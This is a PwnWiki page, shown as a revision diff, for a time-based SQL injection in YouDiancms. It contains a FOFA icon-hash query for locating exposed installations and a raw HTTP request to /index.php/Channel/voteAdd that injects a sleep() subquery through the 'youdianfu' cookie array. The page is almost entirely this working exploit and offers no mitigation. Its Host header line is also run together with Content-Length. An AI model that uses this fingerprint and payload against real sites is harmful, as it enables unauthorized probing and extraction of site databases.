Difference between revisions of "YouDiancms延時注入漏洞"

From PwnWiki
(Created page with "<languages /> ==FOFA== <pre> icon_hash="1728964041" </pre> <translate> ==漏洞影響== </translate> YouDiancms ==Payload== <pre> GET /index.php/Channel/voteAdd HTTP/1.1 Hos...")
 
(Marked this version for translation)
 
Line 6: Line 6:
  
 
<translate>
 
<translate>
==漏洞影響==
+
==漏洞影響== <!--T:1-->
 
</translate>
 
</translate>
 
YouDiancms
 
YouDiancms

Latest revision as of 18:12, 29 June 2021

Other languages:
Chinese

FOFA

icon_hash="1728964041"

漏洞影響

YouDiancms

Payload

GET /index.php/Channel/voteAdd HTTP/1.1
Host: localhostContent-Length: 2
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: youdianfu[0]=exp;youdianfu[1]==(select 1 from(select sleep(3))a)
Connection: close